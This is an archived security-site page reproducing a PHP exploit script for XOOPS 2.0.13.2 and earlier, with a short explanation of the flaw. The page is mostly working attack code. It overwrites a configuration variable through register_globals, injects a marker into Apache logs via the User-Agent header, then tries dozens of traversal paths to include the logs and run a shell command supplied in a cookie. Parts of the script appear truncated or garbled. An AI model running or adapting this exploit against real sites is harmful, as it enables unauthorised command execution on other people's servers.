Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: b06-2351.htm

Xoops <= 2.0.13.2 'xoopsoption' exploit



XOOPS <= 2.0.13.2 'xoopsOption' exploit
XOOPS <= 2.0.13.2 'xoopsOption' exploit



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n\r\n";=0D 
=0D
/*=0D
 works with:=0D
  magic_quotes_gpc = Off=0D
  register_globals = On=0D
*/=0D
=0D
if ($argc<4) {=0D
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to xoops\r\n";=0D
echo "cmd:       a shell command\r\n";=0D
echo "Options:\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /xoops/ \r\n";=0D
echo "php ".$argv[0]." localhost /xoops/ ls -la -p81\r\n";=0D
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";=0D
die;=0D
}=0D
=0D
/* hi, back from my annual social engineering tour, this year in Milan ;)=0D
   welcome to this new 0day experience...=0D
   explaination:=0D
=0D
   vulnerable code in mainfile.php at lines 94-96:=0D
   ...=0D
   if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {=0D
		include XOOPS_ROOT_PATH."/include/common.php";=0D
	}=0D
   ...=0D
=0D
   if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to=0D
   skip common.php inclusion where $xoopsConfig['language'] and=0D
   $xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off=0D
   you can include arbitrary files from local resources, ex., Apache log files:=0D
=0D
http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[language]=../../../../../../../../../../var/log/httpd/access_log%00=0D 
http://[target]/[path]/index.php?cmd=ls%0-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../../../../../../../../../../var/log/httpd/error_log%00=0D 
=0D
   or, if avatar uploads are enabled:=0D
=0D
http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../uploads/cavt44703c30d3dbf.jpg%00=0D 
=0D
   this tool inject some php code in apache log files and try to launch commands=0D
									      */=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$cmd="";$port=80;$proxy="";=0D
=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
$cmd=urlencode($cmd);=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
echo "[1] Injecting some code in log files ...\r\n\r\n";=0D
$CODE="*delim*";=0D
$packet="GET ".$p.$CODE." HTTP/1.0\r\n";=0D
$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: close\r\n\r\n";=0D
sendpacketii($packet);=0D
sleep(1);=0D
=0D
//fill with possible locations...=0D
$paths=array(=0D
"../../../../../../../../../../var/log/httpd/access_log",=0D
"../../../../../../../../../../var/log/httpd/error_log",=0D
"../apache/logs/error.log",=0D
"../apache/logs/access.log",=0D
"../../apache/logs/error.log",=0D
"../../apache/logs/access.log",=0D
"../../../apache/logs/error.log",=0D
"../../../apache/logs/access.log",=0D
"../../../../apache/logs/error.log",=0D
"../../../../apache/logs/access.log",=0D
"../../../../../apache/logs/error.log",=0D
"../../../../../apache/logs/access.log",=0D
"../../../../../../apache/logs/error.log",=0D
"../../../../../../apache/logs/access.log",=0D
"../logs/error.log",=0D
"../logs/access.log",=0D
"../../logs/error.log",=0D
"../../logs/access.log",=0D
"../../../logs/error.log",=0D
"../../../logs/access.log",=0D
"../../../../logs/error.log",=0D
"../../../../logs/access.log",=0D
"../../../../../logs/error.log",=0D
"../../../../../logs/access.log",=0D
"../../../../../../logs/error.log",=0D
"../../../../../../logs/access.log",=0D
"../../../../../../../../../../etc/httpd/logs/acces_log",=0D
"../../../../../../../../../../etc/httpd/logs/acces.log",=0D
"../../../../../../../../../../etc/httpd/logs/error_log",=0D
"../../../../../../../../../../etc/httpd/logs/error.log",=0D
"../../../../../../../../../../var/www/logs/access_log",=0D
"../../../../../../../../../../var/www/logs/access.log",=0D
"../../../../../../../../../../usr/local/apache/logs/access_log",=0D
"../../../../../../../../../../usr/local/apache/logs/access.log",=0D
"../../../../../../../../../../var/log/apache/access_log",=0D
"../../../../../../../../../../var/log/apache/access.log",=0D
"../../../../../../../../../../var/log/access_log",=0D
"../../../../../../../../../../var/www/logs/error_log",=0D
"../../../../../../../../../../var/www/logs/error.log",=0D
"../../../../../../../../../../usr/local/apache/logs/error_log",=0D
"../../../../../../../../../../usr/local/apache/logs/error.log",=0D
"../../../../../../../../../../var/log/apache/error_log",=0D
"../../../../../../../../../../var/log/apache/error.log",=0D
"../../../../../../../../../../var/log/access_log",=0D
"../../../../../../../../../../var/log/error_log"=0D
);=0D
=0D
$xpl= array (=0D
	     "misc.php?xoopsOption[nocommon]=1&xoopsConfig[language]=",=0D
	     "index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]="=0D
	     );=0D
=0D
for ($j=0; $j<=count($xpl)-1; $j++)=0D
{=0D
  for ($i=0; $i<=count($paths)-1; $i++)=0D
  {=0D
  $a=$i+2;=0D
  echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00\r\n";=0D
  $packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Cookie: cmd=".$cmd.";\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  #debug=0D
  #echo quick_dump($packet);=0D
  sendpacketii($packet);=0D
  if (strstr($html,"*delim*"))=0D
    {=0D
      echo "Exploit succeeded...\r\n";=0D
      $temp=explode("*delim*",$html);=0D
      die($temp[1]);=0D
    }=0D
  }=0D
}=0D
//if you are here...=0D
echo "Exploit failed...";=0D
?>=0D
=0D
=0D
original url: http://retrogod.altervista.org/xoops_20132_incl.html 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH